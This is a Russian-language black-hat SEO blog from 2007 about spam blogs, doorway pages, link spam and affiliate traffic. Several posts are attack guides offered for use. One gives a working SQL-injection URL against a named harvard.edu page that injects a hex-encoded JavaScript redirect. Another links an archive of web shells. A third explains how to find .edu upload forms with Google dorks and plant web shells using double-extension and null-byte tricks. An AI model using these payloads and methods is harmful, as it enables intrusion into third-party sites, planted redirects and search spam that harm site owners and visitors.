blackseo blog

Сумбернар

noreply@blogger.com (ganfan) — Thu, 26 Jul 2007 11:19:00 +0000

Действительно) с момента моего последнего поста многое изменилось.
Я наконец купил книгу по пхп :) Написал первые небольшие, но довольно полезные скрипты, которые я наедюсь, скоро выложу в паблик. 8)
Недавно состоялся мой первый опыт общения с digg.com. С пяти статей получил 3к трафа, который никак не сконвертился... Поставил лиды куба, довольно привлекательные на мой взгляд и хер там что с них получил. Наверно нужно этот траф на экспы пускать :)
Еще прощупал эту темку на предмет наличия трафа, нашел несколько трафовых тэгов, ну и забацал блог на вордпрессе. Немного текста по теме, который был обильно размыт линками на выдачу ppc и релевантными лидами куба. Надо сказать, что этот траф ГОРАЗДО более качественный, нежели с дигга, но его, сука, мало:) Буду и дальше продолжать рыться в этом направлении...
Вобщем пост не очем)

Мне пиздец

noreply@blogger.com (ganfan) — Thu, 12 Jul 2007 15:09:00 +0000

Дааа... Дела...
Завели на меня с чуваками уголовное дело... Пишут нам разбой(
А это пиздец, как серьезно... Я вообще в шоке был, когда узнал по какой статье дело возбудили. Да, виноваты, но не в разбое... Вкраце:
Наваляли ублюдку, который своровал деньги, деньги забрали, а он на нас заяву и пиздец!((
Вобщем сегодня-завтра вызовут давать показания, так что не удивляйтесь, если я пропаду годков эдак на 5(в этом месте я саркастично улыбаюсь, хотя нихера не смешно)

300к постов на умаксе!

noreply@blogger.com (ganfan) — Wed, 11 Jul 2007 17:13:00 +0000

Общими трудами нафлудили:)
Поздравляю победителя!

Цепляем блогспот на rss

noreply@blogger.com (ganfan) — Wed, 11 Jul 2007 16:51:00 +0000

Очень жаль, что блог на блогспоте нельзя поставить на rss ленту. Но на каждый винтик у нас найдется своя шайба:)
Слышали о таком сервисе, как RSS2MAIL? rss2mail.be - допустим возьмем этот...
Вбиваем rss ленту и мыло на блогере (где брать, читайте в предыдущих постах) и вуаля! Мы получили авто обновляемый блог на блогспоте. Можно прицепить к блогу несколько rss, но гугл, сука, умный:) поставит капчу, если прочухает, что его объебывают:)

Adult Profit Version 2

noreply@blogger.com (ganfan) — Sun, 08 Jul 2007 16:25:00 +0000

21 июня создатели Adult Profit анонсировали вторую версию своего проекта . Их слова:
С огромным удовольствием и гордостью мы представляем вам Adult Profit Version 2! После тысяч часов разработки и больших инвестиций мы наконец получили результат - сложнейшую Adult Affiliate Program нового поколения.
Изменился не только внешний вид, наша программа и весь софт были полностью переписаны от начала до конца. Всё, чему мы научились за 11 лет работы, было внесено в эту абсолютно новую систему. Мы прислушиваемся к нашим вебмастерам и реагируем на все нужды. Adult Profit V2 результат совместной работы и новых идей. Здесь всё - новый вид, новая система слежения и статистики, новые и старые виды рекламы - Promotional Tools.

Наш выбор - не следовать за другими компаниями и использовать стандартные платформы типо Nats, Mpa3 ..., которые предлагают только стандарты индустрии. Мы хотели сделать то, что увеличит прибыль вебмастеров и нашу. Мы построили нашу собственную Adult-Profit.com System Version 2.0 систему, последнее слово разработок в индустрии, сделаную специально для наших клиентов. Наша система - это новые решения!
Мы предлагаем такие программы как:
$15 per Real Free Sign Up
$35 per 1$ Trial Sign Up
50% Partnership Program
Надо сказать, что я достаточно хорошо конвертил ббс траф на фрисайнах у этого спона. СЕ траф лить не пробовал, но думаю, что конверт будет очень радовать. У них есть несколько симпатичных сайтов и хорошенькие промо фхг под них. Платят фетом, ваером, палкой и на епасс.
Ну,а кто хочет стать рефом, велкам:)

Мой ответ 4seo.biz

noreply@blogger.com (ganfan) — Sat, 07 Jul 2007 09:04:00 +0000

Моя предыдущая заметка "Сплог на блогспоте с автонаполнением" вызвала небольшой резонанс на форуме чина. В этом топике меня в одностороннем порядке полили грязью, прозвучали такие слова, как дурак, идиот, дурень(в мою сторону естественно)), а Murdok мне категорично заявил... Ладно хоть школьником не назвали :D
Что же такого в том посте? То что он был выложен на 4seo.biz в Semi-Closed, тоесть невъебенно приват "темы"
Вот не меня и набросились за это. Причина конечно ахуенно веская, чтобы кидаться такими словами. Ну да похуй!
Ах да! Цитирую чина:
"Даже в такое закрытое сообщество дураки пробираются" :D
Чин, это вообще смех! Я помню как инвайты на твой форуме летели направо и налево!
После этого назови его еще форумом профессионалов:))

Сплог на блогспоте с автонаполнением

noreply@blogger.com (ganfan) — Fri, 06 Jul 2007 20:14:00 +0000

Сегодня опять обратим внимание на blogspot.com)
Будем создавать на нем сплоги, которые будут автоматом обновляться. Итак!
Входим в админку блога, нажимаем 2 закладку Settings, переходим по предпоследней ссылке Email .
Нам нужна форма Mail-to-Blogger Address
там должно быть следующее
гыгы
В пустое поле вписываем все что взбредет в голову .
Получаем мыло вида “tam-tararam@blogger.com“.
Можно напустить кучу спама на блог (для очень ленивых), а можем подписать на тематические рассылки.
Вот и вся идея, идея кстати очень не плохая)
Можно брать новости с rss и отправлять их по почте, скриптом естественно)
Можно брать контент из выдачи гугла и отправлять их по почте.
+ можно весь этот контент прогонять через сервис чубаки, тогда будет вообще красота)
P.S. идея взята с 4seo.biz

А вот и Я!:)

noreply@blogger.com (ganfan) — Tue, 03 Jul 2007 19:31:00 +0000

Прошу прошение, что так долго не писал на блоге. Обгорел, как черт... Ну не об этом)
Вобщем сегодня расскажу о своих сплогах, помните я постил про них? Ну так вот сделал я их на следующий день, ща расскажу как.
Сплоги стругал на блогспоте по сч. Взял довольно не замысловатые кеи и по ним набрал здесь контента. Надо сказать, что сервис довольно удобен для клепания сплогов, набрать контента здесь за считанные минуты, по нужному кею - не проблемма)
Добытый контент прогнал через севрис чубаки(купил досту и не пожалел)). На выходе шел текст, в котором были заменены некоторые слова на их синонимы. И получалось довольно симпатично(для гугла;)), смысл порой менялся довольно сильно, но мне понравилось)(чубака предлогает тест, стучите)
Вобщем забил сплоги текстом и начал линоквать... Слогов сделал 8 штук, линковал беспорядочно ссылками в постах, получилось очень красиво 8)
Но еще ничего не делал для того, чтобы увидеть их в топе, всякая херь на голову свалилась. Ща есть несколько сотен вкусненьких каталогов, по которым потом и прогоню сплоги, думаю вылезут)
P.S. не было времени писать, что либо...

Трудности

noreply@blogger.com (ganfan) — Mon, 25 Jun 2007 19:03:00 +0000

Именно так. Извиняюсь, что не пишу...
Проблемы с учебой и здоровьем. Как все у меня устаканится снова начну вести блог.
дня два-три...

Закрывается блог!

noreply@blogger.com (ganfan) — Thu, 21 Jun 2007 21:06:00 +0000

Заебался я уже! Надоело! Тупо это как-то... нах мне все это писать, если никто не читает?! Этот пост последний на black-seo.blogspot.com, т.к. не вижу смысла продолжать. шучу конечно:) НО! ОЧЕНЬ Вас прошу в комментах выразить отношение к моему блогу и ко мне в частности... Хочется знать, что делаю не так, что можно добавить, а что убрать.
З.Ы. блогу тем временем уже 3 недели 8)

"Новая технология" :D

noreply@blogger.com (ganfan) — Thu, 21 Jun 2007 20:55:00 +0000

www.umaxforum.com/topic/9/22426/ - надо сказать довольно интересная тема, в ней есть парочка интересных запросов. Типа как фрихосты искать:) А мне пополам - .edu рулит:)

Тема на $5k

noreply@blogger.com (ganfan) — Tue, 19 Jun 2007 17:46:00 +0000

Хотя может и не тема вовсе, а так... Вам решать и Вам проверять))
Сегодня будем делать доры на еду без шеллов и фтп при помощи sql inj. Кто не знает что это такое пусть идет на ачат и читает соответствующий раздел форума.
Прочитали? Нет! Ну да пох:) учить находить инъекции я Вас не буду. Будем считать, что за этим дело на встало. Смысл в том что через адресную строку мы выводим инфу на экран, через уязвимость в базе данных MySql.
Итак у нас есть скуль нъекция вида "+union+select+1,2,3,4,5,6,7,8,9/*", допустим высветилась цифра 2 и 8. На место двойки и восьмерки вставляем свои ключевики и редирект, либо код ифрейма. Но вся фишка в том, что если просто подставить, то вылезет ошибка, нужно шифровать здесь(убрал;)). Получается дор вида:
http://www.researchmatters.harvard.edu/story.php?article_id=-1+union+select+0x546f6e657220436172747269646765,0x6c61736572,0x546f6e657220436172747269646765,4,0x546f6e657220436172747269646765,0x546f6e657220436172747269646765,7,8,0x3c736372697074206c616e67756167653d276a617661736372697074273e646f63756d656e742e6c6f636174696f6e3d22687474703a2f2f6871746d732e636f6d2f696e2e6367693f36266163636f756e743d30303034223b3c2f7363726970743e,10,11,12,13/*
вот вам и живой пример, на котором стоит редирект. Все эти цифры и буквы - это нащ зашифрованный редирект с текстом. Пример с ифреймом приводить не буду. Если Вы не прочитали про MySql inj, то ясный хуй, что ниче не поняли. А вот будет ли эта тема приносить деньги это проверять Вам, мне влом :D

Архив вебшеллов

noreply@blogger.com (ganfan) — Sun, 17 Jun 2007 09:16:00 +0000

Вобщем выложил архив вебшеллов, в котором их более 30 штук на любой вкус. 100% найдете что-нибудь для себя. Ну а кто с мозгами, тот извлечет из них еще большую пользу;)
htpp://ganfan1.narod.ru/shells.rar - вот он архивчик))
Благодарности принимаю в комментах;)

Спам блоги

noreply@blogger.com (ganfan) — Fri, 15 Jun 2007 20:31:00 +0000

Прочитав этот пост, я подумал, а почему все сеошники трак в фарму рвуться? Да денег много, но не стабильно - седня в топе, завтра в жопе. Лучше выбрать нишу поспокойней, хоть и бабла существенно меньше зато все гораздо стабильнее.
Сплоги я последний раз делал пару месяцев назад, которые так и не принесли мне существенного трафа - причина того, что я забросил создавать сплоги. Сейчас же есть небольшая база белых каталогов, несколько своих ресов и ярое желание попробовать снова:) Завтра начну осуществлять свой серый замысел...
В качестве хоста выбрал блоггер, контент буду брать отсюда, ну а ссылки с каталогов. Все это Очень тщательно залинкую и отправлю в топ 8)Кеи выбрал коммерческие, но конкуренция не очень высокая. Итак, как все это хозяйство будет выглядеть:
4-6 постов, картинка в тему на самом верху, линки внутри постов на страницы других сплогов, линки на трастовые сайты данной тематики, пока без рекламы. Сделаю примерно 5 сплогов для начала и проспамлю их по каталогам.
Посмотрим на эффект, если он меня устроит, то буду основательно углубляться в сплогинг...

Мой инет

noreply@blogger.com (ganfan) — Fri, 15 Jun 2007 08:08:00 +0000

Он меня заебал, как и моя ася. Он заебал мой контакт лист в асе, а контакт лист заебал меня(отсюда вывод - меня ебут все, а я никого:)). Люди в аське постоянно спрашивают - почему ты так часто вылетаешь? Ладно фигня, отвечаю, что нет ща плохой. А когда они начинают спрашивать у меня про статус в квипе и смеятся, что он через каждые 4 минуты меняется, то меня это выводит из себя... Раз и навсегда отвечаю на этот вопрос:
Смена статуса в квипе позволяет избежать бана(банит сервак аськи) за многочисленные переподключения(как у меня, через каждые 4 мин). А он, сука , банит! поверьте... не надолго правда, но все равно не приятно...
P.S.Но когда нибудь и на моей улице будет праздник;)

Техника спама

noreply@blogger.com (ganfan) — Thu, 14 Jun 2007 20:22:00 +0000

На форумах дорвейщиков часто встречаю вопросы подобного типа:
- "как лучше спамить? картой или на главную?"
Попытаюсь ответить на этот вопрос. Итак, рассмотрим несколько способов спама многостраничных доров:
1. Спам картой - быстрый индекс, быстрый топ, быстрый бан.
2. Спам линкой на карту - медленная индексация, топ, но через месяц и то не факт:) дор сравнительно долго не банится.
3. Спам главной - медленная индексация внутренних страниц(если нет хороших бэков), маловероятный топ внутренних(опять же от базы зависит), дор сравнительно долго не банится.
4. Спам внутренних рандомно - довольно шустрый индекс, топ внутренних(опять же рандом), бана все равно не избежать;)
Комбинируя эти способы можно достичь хороших результатов. Вот например мне кажется, что спамить наиболее результативно будет комбинацией главная+внутренние_рандомно. А если еще и сэмитировать естественный прирост бэков, то дор будет держаться в топе очень долго.
P.S. Сколько слюдей, столько и мнений. Вся эта писанина мое сугубое ИМХО.

1000 постов на умаксфоруме

noreply@blogger.com (ganfan) — Thu, 14 Jun 2007 08:18:00 +0000

Наконец я преодолел этот рубеж:)
А ведь помню свои первые посты, помню свою первую тему(линк спецом сохранил:)), где меня обкакали:) Вобщем радости полные штаны, убежал праздновать;)

Новый smartposter

noreply@blogger.com (ganfan) — Wed, 13 Jun 2007 16:11:00 +0000

Будите смеяться, но вышла новая версия самого "пиздатого" сабмитера:)
С него начинался мой тернистый путь дорвейщика. С ужасом вспоминаю я те "славные" времена и радуюсь что они ушли в прошлое:) Спамил им (смартпостером) с модема и ждал кучи бэков, которые появлялиь только через неделю и то не больше 10 штук, а доры были по фарме :D Потом уже начал спамить руками и кеи подбирать ПРавильные, но это уже совсем другая история...
Сейчас новый смартпостер по описанию стал уже гораздо более функциональным и цена у него довольно привлекательная, но серверные спамилки все равно рулят;) Вообще не завидую тем перцам, что до сих пор спамят сей "ценной" прогой. Если у Вас модем и нет денег на win сервер, то готовьте веревку с мылом, ибо скорость такая-же ужасная, как и пробиваемость. Да спасет меня Будда от использования сего софта!
P.S. это не антипиар, это всего лишь гневный отзыв.
P.P.S. то что в кавычках замените на антонимы;)

Серый рунет

noreply@blogger.com (ganfan) — Tue, 12 Jun 2007 21:27:00 +0000

Сегодня довольно распространенным видом извлечения прибыли из трафика в рунете стали белые каталоги. Как же на них заработать? В основном на каталоги вешают sape и бегуна, но это истина. Поэкспериментировав с различными партнерками вы можете найти для себя гораздо лучший вариант. Итак делаем каталог:
таримся доменом в зоне ру и хостингом, ищем скрипт каталога(это не составит труда), устанавливаем его на хост и прикручиваем к домену. Если создадите уникальный шаблон для своего детища, то будет просто отлично, врезаем в шаблон блоки бегуна(юзер всегда должен видеть их и чувствовать себя комфортно). Ну и все практически:)
Дальше просто прогоняем по 1ps.ru и тудаже добавляем свой каталог. Можно прикупить линкаторов для поднятия тиц. Ждем индексации, трафа, денег от бегуна. Вот и все:)
Только после аппа тиц ставим еще и sape.ru. Теперь точно все)
P.S. прошу прощения за этот пост... пьян и засыпаю...

Маленький фак по google серчингу

noreply@blogger.com (ganfan) — Mon, 11 Jun 2007 19:04:00 +0000

Сегодня я снова затрону тему гугл сёрчинга, так мною любимого(я его так для себя назвал:). Вообще гугл это такая лошадка, с помощью которой можно найти столько интересной, полезной, нужной и дорогой инфы, что просто пипец. Поискать что-нибудь в гугле мое любимое занятие в свободное время. Уже кажется, что все найдено и ща нихера не обломится, а нет:) Сам не перестаю удивляться... Главное - это фантазия, без нее никуда:) Что нужно знать для удачной "рыбалки"? Во первых основные операторы гугла, ознакомиться можно тут - klikforum.com/viewtopic.php?t=1405
Еще не мешало бы знать и разбираться в скриптах и сервисах, но это не обязательное условие и без него можно плодотворно порыскать:)
Пара ссылочек в тему, которые помогут Вам сориентироваться и в общем понять, что да как.
forum.zloy.org/archive/index.php?t-19057.html
retrogod.altervista.org/GHDB.TXT
вариантов - бесчисленное множество, нужно только мозг размять и в бой!:)
ну и на затравку, пока писал этот пост придумал еще один хорошенький запрос:
site:blogspot.com intitle:Blogger: 404 - Page not found - думаю объяснять не надо, что это такое. Ищем пиаристые и регаем под себя. Кста, такая фишка не только с блогспотом работает;)
Ищите, друзья мои, ищите....

Отдамся в рабство

noreply@blogger.com (ganfan) — Mon, 11 Jun 2007 14:46:00 +0000

Надоело одному работать, хочется влиться в дружную команду дорвейщиков или под крылышко, какого-нибудь проекта. Вдруг мне в голову ударила идея, что мол харе одному дома галашиться, нужно в кучи сбиваться;)
Итак, что я умею, имею и что могу:
-Умею пить(много)
-Умею курить(не сигареты;)
-Имею чувство юмора(люблю посмеяться:)
-Умею готовить(откровенно далеко не совершенно)
-Коммуникабелен, владею албанским(это главное!)
А если серьезней, то:
-Второй год в сео
-Поверхностно знаком с адалтом
-Имею ряд эксклюзивных тем, которые самостоятельно не могу реализовать
-Азы хака(очень знаете ли помогает в black seo;)
-Нехилый опыт
-Обучаем и быстро все схватываю
-Имею моск(хороший такой, с извилинами)
-Прямые руки
------------
Что-то 100% упустил))
В принципе уже давно не нуб, но и до совершенства далеко. Как раз в команде и хочу поднять свой уровень. Если будут предложения, то добро пожаловать в аську, обсудим:)
P.S. про албанский я пошутил:)

Небольшое изменение

noreply@blogger.com (ganfan) — Sat, 09 Jun 2007 10:00:00 +0000

Добавил теги на блог. Постепенно буду заполнять разделы полезным контентом.
Сейчас уезжаю бухать:) Как приеду, все доделаю, раскидаю ну и тему какую-нибудь спалю:)
А вообще как Вам?

Окучиваем .edu

noreply@blogger.com (ganfan) — Fri, 08 Jun 2007 21:50:00 +0000

Смотрите на фарма топы с завистью и думаете, где бы взять .edu? Тогда мы идем к Вам!
Я постараюсь Вам помочь)) Итак!
Залить дор на .еду можно четыремя способами:
1. купить фтп или вебшелл у кулхацкеров.
2. залить самому вебшелл
3. найти вебшелл через гугл(обсуждалось ранее)
4. найти "фрихост" на .еду
Конечно, это не все способы, но про остальные я промолчу:) Разберем по пунктам:
1-Запостите на хак бордах предложение о покупке фтп или вебшеллов. Сейчас хакерские форумы пестрят подобными топиками, как герлянды на новогодней елке. Велик шанс нарваться на кидал или купить уже юзанный едушник, но можно и урвать себе что-нибудь стоящее...
2-Залить самому вебшелл на еду довольно сложно, а если Вы не знаете более или менее хак, то невозможно. Но и не зная хака можно без труда залить вебшелл на .еду. Как? Да очень просто! Идем на наш любимый гугл, вбиваем "site:edu intitle:upload image filetype:php" и поисковичек выдает список наших потенциальных жертв, на которые мы и будем пытаться залить наш шелл. Меняем разрешение шелла с shell.php на shell.php.jpg и заходим на первый попавшийся, обнаружили форму, вбиваем всю инфу и прикрепляем картинку, жмем upload. Если все прошло ровно и шелл загрузился, то на последующей странице мы увидем путь до shell.php.jpg или сам jpg файл(узнаем путь - свойства в контекстном меню) и обращаемся к нашему шеллу site.edu/папка/shell.php.jpg. Проконало - хлопаем в ладоши, нет - выясняем причину. Если site.edu/папка/shell.php.jpg выдает ошибку 404 значит Вы или перепутали путь или шелл не залился, если на белом фоне "site.edu/папка/shell.php.jpg", то шелл залился, но вы не сможете его открыть(поробуйте такой вариант "....jpg%00"), ищите другую жертву.
Вот такой вот несложный алгоритм:) Вернемся к запроса, через которые ищем наши .еду.
"site:edu intitle:upload image filetype:php"
В оператор intitle забивайте различные словосочетания таких слов: upload, uploading, image, images, picture, pictures, pics, photo, photos...
В оператор filetype: php, htm, html, asp, cgi, pl, cfm...
Кстати, не обязательно в гуле искать только картинки...
3-обсуждалось.
4-Фрихост. С натяжкой фрихосты на еду можно назвать таковыми. В основном это хранилище файлов(txt, pdf, rtf и т.д.) в которые и заливаются дорвеи. Но html никакой скрипт не пропустит так что заливается так - dor.htm.txt либо просто dor.txt(внутри дор в хтмл с редиректом). В IE отлично работает. Запросы для поиска не дам, сами думайте:) Можно по фармовым топам прошвырнуться и найти парочку подобных хранилищ.

Надеюсь Вам помогла моя статейка. Гневыне и благодарные отзывы в комменты:)
P.S. Не стучите ко мне в асю с просьбой потереть инфу, все равно не потру:)

Буржнет, белые каталоги

noreply@blogger.com (ganfan) — Fri, 08 Jun 2007 21:04:00 +0000

Решил немного углубиться в серое сео. А куда в серую оптимизацию без каталогов, да никуда:)
Вот посерфил по нету в поисках сабжа и вот что надыбал:
www.directoriezsubmission.com/free-web-directories.htm
www.katalogiseo.info
www.dodawarka.info/katalogstron.phtml
www.nulled.ws/attachment.php?attachmentid=1361&d=1174837783
www.nulled.ws/attachment.php?attachmentid=1362&d=1174852700
hitslog.com/submission_list
www.geocities.com/sen_thil_82/free-sub.html
www.directorycritic.com/new-directories.html
www.seo-resources.inetzeal.com/top-web-directories.htm
www.best-free-search-engine-list.com/search-engine-list
Теперь думаю, как всю эту кучу перелопатить?) В скором времени займусь этим.
Благодарности за ссылки принимаются в комментах;)

Подпись, как средство извлечения прибыли

noreply@blogger.com (ganfan) — Fri, 08 Jun 2007 10:39:00 +0000

Не для кого не секрет, что подпись на вебмастерских бордах можно довольно выгодно загнать;) Кому? Овнерам партнерок, хостерам, простым смертным под рефссылку и прочей челяди, которой нужны площадки под рекламу. Приведу несколько факторов, которые влияют на цену подписи:
-Дата регистрации на форуме.
-Количество сообщений на форуме.
-Статус на форуме.
-Среднее количество сообщений в день(на мой взгляд - это самый важный фактор).
Два вида оплаты:
-Фиксированная, раз в месяц.
-Оплата за сообщение(набил ты в этом месяце 100 постов, получи деньги за них, если набил меньше, то и денег соответственно)
По своему опыту скажу, что партнерки не предоставляют предоплату(хотя как договоришься:)). Ну а с частыми лицами все зависит от Вашего статуса на форуме.
На этих форумах можно легко сдать подпись в аренду:
www.umaxforum.com
www.klikforum.com
www.armadaboard.com
www.master-x.com/forum/
www.crutop.nu/Vbulletin/
На данный момент активно скупают подписи Главмед(даже у Гринвуда в подписи:), СтимулКеш(бывший СтимулМедиа) и илюминатор;)
Совет: Будте смелее и наглее. Всегда назначайте цену за свою подпись сами и торгуйтесь, аргументированно торгуйтесь...